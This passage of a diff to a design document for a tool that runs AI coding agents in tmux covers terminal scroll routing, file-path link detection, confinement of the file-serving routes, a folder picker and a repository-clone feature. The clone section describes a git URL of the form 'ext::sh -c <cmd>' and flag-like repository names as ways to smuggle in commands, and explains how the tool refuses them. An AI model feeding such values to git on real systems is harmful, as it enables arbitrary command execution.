`transcriptPageKeys` capability, gate false, `baseY === 0`) wheel and touch travel is translated into coalesced `\x1b[5~` / `\x1b[6~` through the same 40ms queue as the SGR reports, at half a screen of travel per page key (the key jumps a whole screen; a 1:1 mapping was unusably slow with a discrete wheel). ⚠️ **`baseY === 0` with a pane that still REPORTS scrollback is not hollow, it is unloaded** (`paneHistoryLines` > 0, the last capture's `#{history_size}`): after a server restart the byte recording a tab switch replays (`?tail=`) holds only the tmux client's attach repaint, which scrolls nothing, so an inline Claude session landed here and the page keys moved its composer cursor instead of the transcript (measured 2026-10-21 on the second select after a restart, until a page reload). That case falls through to local scrolling, whose top-of-buffer pull (`_maybeLoadMoreHistoryOnScroll` to `_maybeRefetchFullHistory`) fetches `full=1`, and the gesture scrolls on from there once the pull lands (a slow response can outlive the gesture; the next one scrolls); 0 and unknown counts keep paging (fullscreen Claude, codex, opencode; a remote pane reports no count and a Docker pane 0). Page keys already queued and the gesture debt are dropped on the way out, since they belong to the abandoned route. The `[scroll]` line prints `paneHistoryLines` next to `localScrollbackRows`, and a count turning positive re-logs, so the two states read apart. The trade-off is accepted: while that pull is in flight or has failed, the gesture scrolls an empty buffer and the next upward gesture after the 4 s cooldown retries it, where paging would have moved the composer. An error envelope (`success: false`) records no count, in the pull, the refresh path and the tab switch alike, so one failed capture does not hand the gesture back to paging. ⚠️ The first event of a gesture pages AT ONCE, for any opening event under one page, and the travel it skipped is owed back by the rest of the gesture (one page per half screen still). Waiting for half a screen first meant an ordinary trackpad flick (well under 19 rows on a 38-row pane) sent nothing at all, and a mouse sent nothing for its first 5 notches (100 px is 4 rows; 7 on Firefox's 3-line notches, issue #697). An opener of `PAGE_KEY_IMMEDIATE_MAX_ROWS` (2) rows or more is treated as a mouse-wheel notch and tagged `notch`: its debt lasts `PAGE_KEY_NOTCH_DEBT_MS` (3 s) instead of `PAGE_KEY_DEBT_MS`, so slow notches repay one page instead of each paging a full screen; past 3 s of quiet each notch pages. The signal is the opener's size, not the device (a touch contact whose first touchmove is 2 rows or more, or a brisk flick that opens large, is treated the same). A new opener keeps same-direction travel left over from the gesture before, so a run of notches still pages once per half screen of travel. ⚠️ What starts a NEW gesture (and so may pre-pay) is narrow, because every boundary is another free page: (1) a TOUCH CONTACT is one gesture, never split by time: the touch paths tag every call, touchmove and momentum frames alike, with `touchId` (one per touchstart), and a different id (or a wheel event after a touch) is a boundary. touchmove only calls once per whole cell of finger travel, so a slow drag arrives as single lines further apart than any gap; on the gap alone 12 lines at 170 ms each sent 12 PageUps (measured through the real listeners, `test/terminal-touch-paging.browser.test.ts`). (2) Outside a contact, 150 ms of quiet (`PAGE_KEY_GESTURE_GAP_MS`), stretchedLine truncated
 
 **Why the wheel went where it went is LOGGED** (`_logScrollRouting`): one console line per session per distinct decision — `[scroll] <id> → forward-sgr|page-keys|page-keys-dialog-open|page-keys-menu-open|local-scrollback|repull-refused-downgrade (mode=…, cliVersion=…, localScrollbackOptOut=…, mouseTracking=…, localScrollbackRows=…)`. #205 ran two rounds of remote guesswork over questions this line answers directly; keep it when touching the routing.
 
@@ -403,16 +423,22 @@ A file path an agent prints is a link on both surfaces it can appear on, and cli
 
 **One pattern, two consumers.** `FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` live in `constants.js`; the xterm link provider (`registerFilePathLinkProvider`, terminal-ui.js) and the response viewer's `_linkifyFilePaths()` (app.js) both reach it through `findFilePathLinks()` (below), which builds a fresh instance per call. ⚠️ Fresh per call, never one shared object: `lastIndex` is per-object state on a `/g` regex. The pattern is anchored on a known absolute root and terminated by a known extension, so a fraction (`3/4`) or a date can't match and trailing punctuation stays out. Roots include `Users` and `mnt`, without which nothing was clickable on macOS or WSL. The linear-time guard and the "terminal-ui builds from the factory" structural check are in `test/link-provider-regex.test.ts`.
 
-**The chat linkifier walks text nodes.** `_linkifyFilePaths()` builds anchors with `createElement`/`textContent` on the rendered subtree, never by rebuilding sanitized markup as a string — the source is model output. Subtrees already inside an `<a>` are skipped (marked autolinks URLs; a nested anchor would swallow the click), and the anchor's text is the path verbatim so "copy code" still yields what the agent printed. Before the walk it also rewrites existing anchors whose href is a scheme-less, non-`//` path (Codex cites files as `[label](/abs/path.json)`, which otherwise opens as a same-origin URL) into the same `a.rv-path` shape, plus `rv-path-link` so the label keeps the prose font, on purpose without `FILE_PATH_LINK_PATTERN`'s root and extension filter: the href is a link target the agent chose. `test/response-viewer-file-links.test.ts` pins both properties and the anchor rewrite.
+**The chat linkifier walks text nodes.** `_linkifyFilePaths()` builds anchors with `createElement`/`textContent` on the rendered subtree, never by rebuilding sanitized markup as a string — the source is model output. Subtrees already inside an `<a>` are skipped (marked autolinks URLs; a nested anchor would swallow the click), and the anchor's text is the path verbatim so "copy code" still yields what the agent printed. Before the walk it also rewrites existing anchors whose href is a scheme-less, non-`//` path (Codex cites files as `[label](/abs/path.json)`, which otherwise opens as a same-origin URL) into the same `a.rv-path` shape, plus `rv-path-link` so the label keeps the prose font, on purpose without `FILE_PATH_LINK_PATTERN`'s root and extension filter: the href is a link target the agent chose. The anchors the walk builds carry `dir="ltr"`, so a path at the head of a right-to-left sentence does not decide that sentence's direction; a rewritten link keeps no `dir`, since its label is prose (#715). ⚠️ `_applyBlockDirection()` runs after the linkifier in both consumers, never before it: a block already carrying `dir="auto"` re-resolves its direction on every text node replaced under it. `test/response-viewer-file-links.test.ts` pins both properties and the anchor rewrite, `test/response-viewer-rtl.test.ts` the direction and the order.
 
 **Out-of-workspace paths go through the attachment routes, not the file routes.** `file-content`/`file-raw` resolve against `workingDir` and 404 anything that escapes it, which is correct and unchanged — but the paths agents most often print (a `/tmp` capture, Claude's own scratchpad, another checkout) are exactly that, so clicking one used to report "File not found" for a file sitting on disk. `openFilePreview()` now detects the case (`_isExternalPreviewPath`, a string compare for ROUTING only; the real decision stays server-side) and registers the path via `POST /api/sessions/:id/attachments` first, rendering by id. ⚠️ That registration passes `notify: false`, which suppresses ONLY the `attachment:detected` broadcast — the guard, the registry entry and the by-id routes are identical either way. Without it every click also popped an attachment card announcing the file already filling the screen. ⚠️ The click is an explicit user action on the **explicit, Origin-guarded** registration route, which is why it may cross the workspace boundary at all; the passive magic-link scanner stays force-confined. A type outside `SUPPORTED_ATTACHMENT_EXTENSIONS` (`.svg`, `.bmp`) is refused with a message naming what IS previewable, rather than the registry's own policy term.
 
 ⚠️ **The terminal routes an out-of-workspace path to the preview, not the log viewer.** The log viewer spawns `tail -f` and allows only the workspace, `/var/log` and `~/logs`, so an external `.log`/`.json`/code path answered `Path must be within working directory or allowed log directories` while the SAME path clicked in the response viewer previewed fine. `activate()` now checks `_isExternalPreviewPath` alongside `previewsInFileViewer`. In-workspace text keeps the tail viewer, which is the point of it (live follow), except markdown (`.md`/`.markdown`, in `FILE_PREVIEW_EXTENSIONS` since the owner's 2026-10-13 decision, rendered as a document) and `.html`/`.htm` (`rendersAsPage()`, rendered as a page, see below), which always go to the preview; nothing widened `file-stream-manager`'s allowlist, so no `tail -f` is spawned on an arbitrary host path.
 
-**Path forms beyond the rooted one.** `findFilePathLinks(text)` (constants.js) is the single entry point both consumers call; it reserves spaced candidates first (including unlinkable spans), then detects rooted matches, then `~/` and relative paths (`RELATIVE_FILE_PATH_LINK_PATTERN`, same extension list, pinned equal by `test/link-provider-regex.test.ts`), then folder paths, each only where it overlaps neither an earlier match nor an `http(s)` URL. A relative match must start at a boundary (line start, whitespace, quote, bracket, `=`, `,`, `>`), so it can never begin inside a word, an absolute path or a URL; brackets, `=` and `,` end it (`(shot.png)`, `OUT=shots/a.png`). `resolveLinkedFilePath()` resolves a relative path against the session's `workingDir` (`.`/`..` collapsed, so `../x.png` lands outside and routes like any external path) and passes absolute and `~/` paths through. ⚠️ `~` is the home of the SESSION'S host, which only the server knows: `~/` paths always take the attachment route, where `registerExternalAttachment` expands them (`homedir()` locally, `$HOME` inside the remote probe script), and the guard runs on the expanded, realpath-resolved path as before. ⚠️ Programs hard-wrap their own output short of the terminal edge (Claude Code breaks tool output at 59-118 columns), so xterm's `isWrapped` never fires. `terminalPathLine()` (link provider only; touch selection keeps `terminalLogicalLine`) joins the next row when the previous row ends in a path token with a `/` and no extension and the join reaches an extension; a row that starts a new path is never joined: rooted or `~/`, `./`/`../`, or a relative one that opens on the same top directory the broken token did (the next entry of `git ls-files`/`find`/`ls -R`: `src/components` + `src/index.ts` are two paths, not `src/componentssrc/index.ts`), while a wrapped path continues INSIDE a name, so `…/captures/2` + `026-10-10/…` still joins; a 3+ row chain is kept only if a later row completes the path, and the broken row must be at least as long as the continuing one (keeps `cd /mnt/foo` + a longer next line apart). Tests: `test/file-path-link-forms.test.ts`.
+**Path forms beyond the rooted one.** `findFilePathLinks(text)` (constants.js) is the single entry point both consumers call; it reserves spaced candidates first (including unlinkable spans), then detects rooted matches, then `~/` and relative paths (`RELATIVE_FILE_PATH_LINK_PATTERN`, same extension list, pinned equal by `test/link-provider-regex.test.ts`), then folder paths, each only where it overlaps neither an earlier match nor an `http(s)` URL. A relative match must start at a boundary (line start, whitespace, quote, bracket, `=`, `,`, `>`), so it can never begin inside a word, an absolute path or a URL; brackets, `=` and `,` end it (`(shot.png)`, `OUT=shots/a.png`). `resolveLinkedFilePath()` resolves a relative path against a base (`.`/`..` collapsed, so `../x.png` lands outside and routes like any external path) and passes absolute and `~/` paths through. ⚠️ `~` is the home of the SESSION'S host, which only the server knows: `~/` paths always take the attachment route, where `registerExternalAttachment` expands them (`homedir()` locally, `$HOME` inside the remote probe script), and the guard runs on the expanded, realpath-resolved path as before. ⚠️ Programs hard-wrap their own output short of the terminal edge (Claude Code breaks tool output at 59-118 columns), so xterm's `isWrapped` never fires. `terminalPathLine()` (link provider only; touch selection keeps `terminalLogicalLine`) joins the next row when the previous row ends in a path token with a `/` and no extension and the join reaches an extension; a row that starts a new path is never joined: rooted or `~/`, `./`/`../`, or a relative one that opens on the same top directory the broken token did (the next entry of `git ls-files`/`find`/`ls -R`: `src/components` + `src/index.ts` are two paths, not `src/componentssrc/index.ts`), while a wrapped path continues INSIDE a name, so `…/captures/2` + `026-10-10/…` still joins; a 3+ row chain is kept only if a later row completes the path, and the broken row must be at least as long as the continuing one (keeps `cd /mnt/foo` + a longer next line apart). Tests: `test/file-path-link-forms.test.ts`.
+
+**The relative base is the pane's directory.** The base is `relativeResolutionBase(session)`: the pane's live directory `SessionState.paneCwd` when known, else `workingDir`, which is fixed at create time and never follows a `cd`. `paneCwd` is `#{pane_current_path}` from the pane-exit watcher's existing batched `list-panes -a` read (`derivePaneCurrentPaths()`, single-pane sessions and absolute paths only; no new tmux call and no new SSE event: the server applies it on the `paneExitsUpdated` tick and broadcasts `session:updated` only on a change). tmux reports the cwd of the pane's FOREGROUND process-group leader, so a shell's `cd` moves it, while an agent CLI's tool subprocesses (Claude's Bash tool, codex's exec) do not: for those sessions it stays the CLI's own directory. ⚠️ `paneCwd` is a resolution BASE only, never a confinement root: `_isExternalPreviewPath`, `file-content`/`file-raw` and the log viewer's `tail -f` allowlist all still judge against `workingDir`, so a pane that `cd`s outside the workspace sends its relative links through the attachment routes like any other external path, and what can be opened is unchanged (an absolute path to the same file already opened). ⚠️ `Session.setPaneCwd()` uses the `paneExitApplies` scoping rule and fails closed the same way: a remote session's local pane runs the ssh client and a docker case's runs `docker exec`, so their pane directory is a host directory the agent was never in; direct-PTY and rediscovered sessions get none either, and the browser re-checks `remote`/`docker`. ⚠️ tmux reads the directory from `/proc/<pgrp>/cwd`, always the RESOLVED path, while `workingDir` keeps the spelling the case was created with (a symlinked `~/codeman-cases`, a case linked through a symlink, macOS `/tmp`), and `_isExternalPreviewPath` compares lexically, so `setPaneCwd()` writes a reading at or under the workspace's resolved path back in `workingDir`'s spelling. The resolution runs once per session in the background, bounded (`probePathKind()` first, then a `realpath()` raced against the same timeout, never on the watcher tick and never `realpathSync`); an `unknown` probe or a failed or slow `realpath()` leaves the reading untranslated and retries after `WORKSPACE_REALPATH_RETRY_MS`. Until it settles, only a reading lexically inside `workingDir` is taken, so the first tick cannot mis-route links. ⚠️ Never restored after a restart: written to `state.json` by `toState()` like the rest of the session state but never read back, and a directory change alone never persists. A failed or empty read keeps every last directory, and a blank `#{pane_current_path}` on a single-pane session keeps that session's (`derivePaneCurrentPaths()` carries it forward); an authoritative read that lists the session as split into several panes, or not at all, clears it, so a hand-split session falls back to `workingDir`. The server applies the manager's answer as given, `undefined` included, and `setPaneCwd()` reports a clear once. Trade-off: the base is the pane's directory at CLICK time, so a relative path printed before a `cd` resolves against the new directory. Tests: `test/pane-cwd-tracking.test.ts`.
 
 Spaced paths are considered first by `findFilePathLinks()`: accepted candidates reserve their entire span even when unlinkable, so later detectors cannot link fragments. Relative and `~/` spaced paths require an explicit path label (`Path:`, `File:`, `Files:`, `Saved to:`, `Saved as:`, `Wrote:`, `Written to:`, `Output:`, `Created:`, `Location:`, `Attachment:`), optionally preceded by a marker. Generic labels and bare bullets defer to ordinary detection, including slash-containing prose such as `CI/CD` or `45/45`. A later `/`, `~/`, `./` or `../` word starts a separate path; an earlier word ending in `/` is a separate folder. Absolute paths keep the own-line and marker forms plus the same path labels; any other label (`Error:`, `Note:`, `Saved the report to:`) defers an absolute path too. A rooted candidate needs a directory before its first space, so `/review the changes in src/a.ts` is prose. An earlier word holding a known extension anywhere (`a.ts#L12 foo.ts`) ends the path at that word, a `:` followed by a digit inside an earlier word is a line suffix (`a.ts:42:See b.md`, grep and compiler output) and ends the path there, a run of spaces is a column gap rather than a name, and a leading run of `./` or `../` is not a segment (`Saved to: ../My Docs/plan.md` links whole; an interior `..` is still refused). An unlinkable candidate reserves its span only while its last word holds a `/`, so `/usr/bin/env node build.js` keeps its ordinary links while `/etc/secret files/passwords.txt` links nothing. A path label vouches that a path follows, not for the words before it: a relative candidate whose only `/` word is its last is prose after the label (`Wrote: 120 lines to src/foo.ts`, `Path: see src/foo.ts`) and defers to the ordinary detectors. The cost is a labelled relative path whose only space is in its top directory, `Saved to: My Docs/plan.md` (and `Saved to: 03 Attachments/plan.pptx`), which splits as on master; `03 Attachments/Build SIPOC Design/Build-SIPOC.pptx`, `notes/a b/c.md`, `~/`, `./` and `../` forms and absolute paths still link whole. An earlier word that is a lowercase connective or verb (`SPACED_PATH_PROSE_WORD`: `and`, `or`, `to`, `in`, `the`, `is`, `has`, `contains`, `then`, `as` and a few more) or a bare `=` makes the candidate a sentence, in every shape: `/home/me/proj contains a.md`, `- /tmp/out has the logs in run.log`, `Path: /home/me/proj/out contains a.md`, `Files: src/components and utils/x.ts`, `Wrote: 3 files to docs/design notes/overview.md`. The cost is a name that uses one of those words (`Pros and Cons.md`, `How to deploy.md`, `Documents and Settings`), which splits as on master; `at` (`Screenshot 2026-10-24 at 10.00.00.png`) and `of` (`Copy of report.docx`) are left out of the list on purpose. What remains ambiguous is an own-line absolute path followed by words that hold none of them (`/home/me/proj/out report.pdf` reads like `/home/me/docs/Read Me.txt`), which links as one path. A command line is refused too: a first word that is an executable under `bin/`, `.bin/`, `scripts/` or `tools/` (`/opt/homebrew/bin/node server.js`, `/home/me/proj/scripts/deploy prod.yml`) or any `-x`/`--x` flag word (`/home/me/proj/node_modules/.bin/tsc -p tsconfig.json`); a bare `-` (`Docs - Copy`, `OneDrive - Contoso`) is not a flag. So is a shell prompt that prints an absolute working directory (WSL's `/mnt/c/...` is outside `$HOME`, so every earlier command in a shell's scrollback has one): a first word ending in `$` (`/home/me/proj$ cat notes.md`) and any earlier word with no letter or digit other than a bare `-` (`/mnt/c/proj ❯ code notes.md`, `/home/me/proj $ cat notes.md`, `/home/me/proj/out ✓ report.pdf`) refuse the candidate, while `Program Files (x86)` and `Docs - Copy` still link whole. The response viewer carries any leading `<strong>` label in a paragraph or list item, or one starting a later line of a paragraph (after a `<br>`, since chat renders with `breaks: true`), into detection without changing the label or displayed text, and `spacedFilePathOnLine()` judges it as it judges the same line in the terminal (`**Note:** /home/me/proj/out report.pdf` splits). A text node that follows any other inline element starts mid-line, so a placeholder word stands in for what precedes it (``Use `--config` /home/me/proj/cfg data.json`` splits as in the terminal), while a path inside inline code still links whole; paths split across inline elements remain detected per text node. Tests feed vendored marked output into the jsdom linkifier, so consumed bullets and bold labels are covered. Trailing whitespace uses linear `trimEnd()` before the length cap.
 
+Parentheses also bound an inline spaced path, such as `Updated (/mnt/c/My Docs/report.conf)`. The whole candidate is reserved before fragment detectors run; existing root, prose and traversal guards still apply. Inside parentheses only, a comma at the end of an earlier word marks a list, not one filename. Own-line, list-marker and labelled paths retain commas in filenames and directory names. ⚠️ `Bash(` is the one call shape left out (`opensBashCall()`, both here and for the hard-wrap alternative below): it holds a command, so `Bash(/tmp/a.out input.txt)` is a program and its argument and keeps master's links, while the path tools (`Read(`, `Update(`, `Write(`) link a spaced name whole.
+
+Hard-wrapped filenames keep the existing concatenation without inserted spaces. A parenthesised final filename broken between words also carries a spaced alternative without changing its cell mapping. On activation only, the terminal checks the original path through the existing guarded attachment registration route (`notify: false`), tries the alternative only after HTTP 404, and retains the clicked session throughout. If both exist, the original wins. Every original result other than HTTP 404 goes to the normal opener, preserving workspace previews and log viewing even for extensions the attachment registry rejects; for an external path that opener retains the same attachment guards and errors. After an original 404, a spaced alternative opens only if it registers successfully; if it also returns 404, the original goes to the normal opener. Path labels, list markers and leading indentation inside parentheses are excluded from the alternative’s lookup key. Hover performs no lookup. Text alone cannot distinguish the two filenames, so this uses the filesystem result rather than a spacing guess.
+
 The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLine()` for URL continuations in indented paragraphs and table cells. List markers, bare numbers and version tokens never continue a URL. A token with only hyphens, underscores or dots must end its cell (row end or a gap of at least two spaces), so prose such as `self-hosted runners` is not appended. A row end counts as a cell end, so `⏺ Docs live at https://example.com/guide/` followed by `  self-hosted` still links `.../guide/self-hosted`, and an indented `and/or the API reference covers it.` still links `.../guide/and/or`; both are pinned as known trade-offs. Such a token is still refused when it is code with a call paren (`client.get()`, `expect(x).toBe(y)`; a wiki title like `Mercury_(planet)` keeps its paren) or a word ending a sentence (`ready.`, `Done.`, `self-hosted.`; a file name keeps its period, so `install.html.` still joins). Whatever its punctuation, a token never continues a URL when it ends with a colon (a label such as `Failure/Error:` or `prometheus.io/scrape:`), when it is a measurement or clock time (`45%`, `45%|####`, `12.3MB/45.0MB`, `12.3ms`, `10:00:00`; percent-encoding such as `2026%20Plan` still joins), or when it is a `name=value` field (`API_KEY=...`, `level=info`) under a URL ending in `/`, since a query needs a `?` first (after `?`, `&` or `_` it is a query parameter and joins). A continuation must be indented (a column-0 row is new output, which keeps `status=200`, `24/7` and `really?` out), and a shell prompt (`user@host:`), a home path (`~/`), a whole email address or an HTTP status line never continues a URL. A URL in the last column of a space-aligned table never takes the next row's first cell: a continuation row must start inside the URL's own cell, so a gap of two or more spaces between its indent and where the URL starts on the row above means it is the next record. When other columns follow a wrapped URL on its first row (a codex table's path or date column), the URL is stitched without them, and they still link on that row: `terminalLinkLine()` scans them after the stitched rows as a segment of their own, mapped back to their cells. A URL in such a column is the row's last URL, and only the last URL on a row is continued, so that row is never stitched. A divider row never continues the row above it, so a URL that reaches the right edge does not absorb a full-width `────` row below. A real plain slug followed by prose falls back to the original fragment link; `%`, `&`, `=`, `/` or `?` still qualify as stronger URL punctuation. `terminalCellWrappedPaths()` follows each table cell independently: a fragment carries on into the next row only when it ends its cell on `/` or `-` (where a wrapper breaks a path; codex's cell wrap never breaks at `_`), the continuation row is blank to the left of the cell (a wrapper wraps every column of a table row together, so a label there such as `Entry` or `│ Log │` is the next record, unless a left column's path continued on that row too; a left column of wrapped prose, as in a `Description | Path` table, fills that row as well, so the path beside it keeps its per-row fragment links, the safe direction), the next row's token passes `pathContinuation()`, and the cell is no wider than the one above. So a directory that is a whole cell value (`/home/u/proj` over `config.yaml`, or `/home/u/proj/app/` over a labelled `main.py`) keeps its folder link and the next row keeps its own file link. With no label to tell them apart, a directory written with its trailing slash over a relative path in the same column (`/home/u/proj/src/` over `lib/util.ts`) still joins, a known trade-off: it reads exactly like a wrap at `/`. Accepted paths displace other links on their cells. Full-width divider rows stop `terminalLogicalLine()` stitching for both links and touch selection. OSC 8 links confirm the real target URI before the shared opener runs.
 
 **Folder grid: a folder is granted, then served by bare file name.** A folder path (rooted or `~/` whose last segment has no extension, relative only with a trailing `/`; `FOLDER_PATH_LINK_PATTERN` + `folderLinkPath()`) opens `openFolderGrid()` (panels-ui.js), as does the preview's "Show folder" button. `POST /api/sessions/:id/folders {path}` (`src/folder-listing.ts`) resolves the folder (locally a bounded `probePathKind(…, { pastCap: true })` first, then async `fs.realpath`; remotely one ssh round trip via `remoteListFolder`, through `runWithRemoteSshLimit`), runs the attachment guard on it (blocklist, `confineToWorkspace`, and in multi-user mode `folderAllowedForUser`: a non-admin only inside their own `userSpacePath` or the session's `workingDir`, as the filesystem path picker), locally BEFORE reading it, lists non-hidden subfolders and files of a supported attachment type (each file also blocklist-checked, newest first, capped at `MAX_FOLDER_ENTRIES`), and GRANTS it an id. Files are then fetched as `GET …/folders/:folderId/files/:name/(raw|preview|thumbnail)`: `:name` must be a bare file name of a supported type (no `/`, `\`, NUL, no leading `.`, since the listing hides those), the local file is probed bounded (`unknown` → 503, never 404), and the joined path goes through the SAME `resolveServableAttachmentPath` as an attachment by id (symlink re-resolution, remote re-probe, guard), then the same gate registration applies to what a symlink RESOLVES to (a supported extension on the resolved path and a regular file: locally `fs.stat`, remotely the probe kind; else 400, so `shot.png -> ../secret.bin` is not served and a FIFO or device behind a supported name never reaches `open`), then `folderAllowedForUser` once more on the resolved file, before `serveServableRaw` (the attachment raw route's body, shared) streams it. So browser requests still never carry a path. ⚠️ Grants live in their own registry (`folderGrants`, 32 per session, cleared with the session's attachments), NOT the attachment registry: that one is capped at 200 per session, and paging a folder of 300 renders would evict the session's real attachments. ⚠️ A local folder is never touched unbounded (#516 rule): a folder on a network mount that stopped answering answers 503 with `describeUnknownPath()`, not 404 and not a frozen server. ⚠️ The remote listing script tells "missing" (`E|n`, 404) from "is a file" (`E|f`, 400 `Not a folder`), because the client falls back to the file preview on `Not a folder`; a remote extensionless file otherwise answered "Folder not found". ⚠️ `.folder-grid-overlay` sits at `z-index: 5090`, one step BELOW the preview (5100) and above the response viewer (5000): a tile's preview opens on top and closing it lands back on the grid. ⚠️ ←/→/Esc are handled in a document CAPTURE listener with `stopPropagation`, because the terminal keeps keyboard focus under the overlays and an arrow that reached xterm would be typed into the session; inputs other than xterm's helper textarea keep their keys. ⚠️ A route PARAMETER is capped by the router (Fastify's default is 100 characters, answered as 404 "Route not found"), and a file name goes up to 255, percent-encoded: the server sets `routerOptions.maxParamLength` to `MAX_ROUTE_PARAM_LENGTH` (route-helpers.ts), the route test harness uses the same constant, and a wiring guard pins it. ⚠️ `~/` in a Docker case is refused with 400 (attachment POST and `POST …/folders`): the session is local for these routes, but `~` inside the container is the container's own home, and expanding it on the host would open a different file than the one the agent printed. Tests: `test/routes/folder-grid-routes.test.ts` (incl. the listing script on a real `sh`), `test/folder-grid-ui.test.ts`.
@@ -429,7 +455,7 @@ The terminal provider scans `terminalLinkLine()`, which extends `terminalPathLin
 
 ### Filesystem path picker
 
-**Filesystem path picker** (Link Existing "Browse" button + the extended mobile keyboard's `📁 Path` key): a lazy one-directory-at-a-time browser over `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` serving the tapped file. It starts at the active session's working directory (falling back to the Codeman Cases root, then `/mnt/d`, then the first root), hides dot entries, and inserts the chosen path **without** Enter so the prompt is not submitted. The companion `⌫ All` key clears only the current unsent prompt buffer and must never emit the agent's `/clear` command.
+**Filesystem path picker** (every Add Case "Browse" button: Link Existing, Create New's custom folder, Clone Repo, Docker; + the extended mobile keyboard's `📁 Path` key): a lazy one-directory-at-a-time browser over `GET /api/filesystem/browse`, with `GET /api/filesystem/preview` serving the tapped file (Docker's Container Workdir picker passes its own `fetchListing` over `POST /api/docker-cases/browse` instead, admin-only, which always lists dot entries and skips the allowlist, blocked-tree and ownership rules below). It starts at the form field's value or, for the `📁 Path` key, the active session's working directory (falling back to the Codeman Cases root, then `/mnt/d`, then the first root) and hides dot entries. A Browse fills its form field; the `📁 Path` key inserts the chosen path **without** Enter so the prompt is not submitted. The companion `⌫ All` key clears only the current unsent prompt buffer and must never emit the agent's `/clear` command. **New folder** (opt-in per caller, `allowNewFolder`; Link Existing, Create New's custom folder and Clone Repo's parent folder have it): `POST /api/filesystem/mkdir` `{ path, name, sessionId? }` creates ONE folder (non-recursive) directly inside a folder the picker may browse, resolved through the same roots, ownership and blocked-tree rules as browse (`403` outside them or in a blocked tree or unwritable, `404` missing parent, `409` exists, `400` a parent that is a file, or a name outside letters, digits, space and `_ - . ~`, containing `..`, starting with a dot or a tilde or over 255 bytes, so every name it accepts is one Link Existing accepts, and `400` a parent that is a cases directory, where a folder is already a case (Add Case > Create New with no custom folder makes one there); `showHidden` is forwarded like browse's); the picker reloads the folder and selects the new one. A picker that browses somewhere this route cannot create in (the container-workdir picker, `fetchListing`) must not set the flag.
 
 ⚠️ **This is a second file-serving surface, so it carries the same confinement burden as [Attachments](#attachments) and does not inherit it automatically.** Traversal is allowlisted to Home, `CASES_DIR`, `/mnt/d`, or extra roots explicitly configured via `CODEMAN_FILE_PICKER_ROOTS`; sensitive trees are blocked and symlink escapes are rejected after `realpath` resolution rather than before. Without the realpath step a symlink inside an allowed root would walk straight out of it. `preview` reuses the shared conversion cache and the **global** `document-conversion-limiter`, which is what stops N concurrent large-document previews from forking N multi-minute converter processes. Content types are pinned: images and PDF inline, DOCX/PPTX through the converters, and Markdown/TXT/JSON as inert `text/plain` (never `text/html`, which would be stored XSS on our own origin). Size caps are 2MB for text and 50MB for binary/document previews.
 
@@ -468,18 +494,20 @@ Tests: `test/file-preview-markdown.test.ts` (jsdom-in-vm, pins every rule above)
 
 ### Clone a repository as a case
 
-**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`).
+**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`). An optional `path` is the folder the repository is cloned INTO, exactly as given (the API adds no case-name subfolder; the **Clone into a custom folder** field on the page is a parent, so the tab sends `<folder>/<case name>`, see UI below), and it registers a LINKED case, the same way `POST /api/cases` with a `path` does: it is judged by `prepareNewCasePath()` (`web/case-path.ts`: blocked trees, symlinks, parent must exist), is admin-only in multi-user mode (it writes an absolute path into the shared linked-cases registry), and must be empty or not exist yet. An existing empty folder is cloned into directly (`CloneOptions.intoEmptyDir`: no temporary sibling and no rename, so a mount point works; a failed attempt empties it again but never removes it); a folder with anything in it is refused. Deleting such a case unlinks it and never removes the files. If the registry write fails after git finished, the folder is kept and the error says where it is. The name is checked again inside `mutateLinkedCases()` when the entry is written, so of two clones that claim one name only the first to finish links it; the other answers 409 `ALREADY_EXISTS` and keeps its folder.
 
 - ⚠️ **The URL is a code-execution surface, which is why it is parsed rather than forwarded.** `ext::sh -c <cmd>` makes git run an arbitrary command as its transport, and ANY `<name>::<payload>` dispatches to a `git-remote-<name>` helper, so every `::` form is refused outright. A repository starting with `-` is read by git as a flag; that is rejected AND every spawn puts `--` before the operands, because either defence alone is one edit away from being a hole. Spawns are argv arrays, never a shell (unlike `remote-hosts.ts`, which does build a shell line and must `shellescape`). The Zod schema deliberately only length-bounds `repository` — a weaker regex duplicate of `parseGitRepositoryUrl` would be the copy that drifts.
 - ⚠️ **Non-interactive or it hangs the request.** The clone is synchronous by design (no job store, no polling, no cancellation surface), so an invisible credential prompt would pin an open HTTP request until the timeout. `gitNonInteractiveEnv()` closes all four prompt paths at once: `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`/`SSH_ASKPASS` + `SSH_ASKPASS_REQUIRE=never` + empty `DISPLAY`, `GCM_INTERACTIVE=never`, and `ssh -oBatchMode=yes`. `HOME`/`PATH` are inherited on purpose — a user whose own agent or credential helper already works keeps working (so a private repo may well clone; Codeman just never collects or stores credentials, and refuses a `user:password@` URL). ⚠️ In multi-user mode a NON-ADMIN's clone and preflight run with `git -c credential.helper=` (`cloneWithoutCredentialHelpers`), because the helpers belong to the one server account every user shares; admins and single-user mode keep them. The Docker server image relies on exactly this: when built with the opt-in `CODEMAN_INSTALL_GH`/`CODEMAN_INSTALL_AZ` args it configures `gh` (github.com) and an `az`-backed helper (`docker/git-credential-azure-cli`, Azure DevOps) in its SYSTEM gitconfig, both silent until the user signs the CLI in, so a private clone there still fails fast rather than prompting.
 - ⚠️ **Bounded in time, output and concurrency.** Timeout → SIGTERM → SIGKILL, signalled to the whole process GROUP (`detached: true`, negative pid) because `git clone` fans out into `git-remote-https`/`index-pack` children that a polite signal to the parent leaves running. stderr is kept as a bounded, credential-redacted, control-stripped TAIL; `ls-remote` stdout is capped and refs are capped at 500 each. A small global pool (default 2, `CODEMAN_MAX_GIT_OPERATIONS`) caps concurrent git network ops, same reasoning as `document-conversion-limiter.ts`.
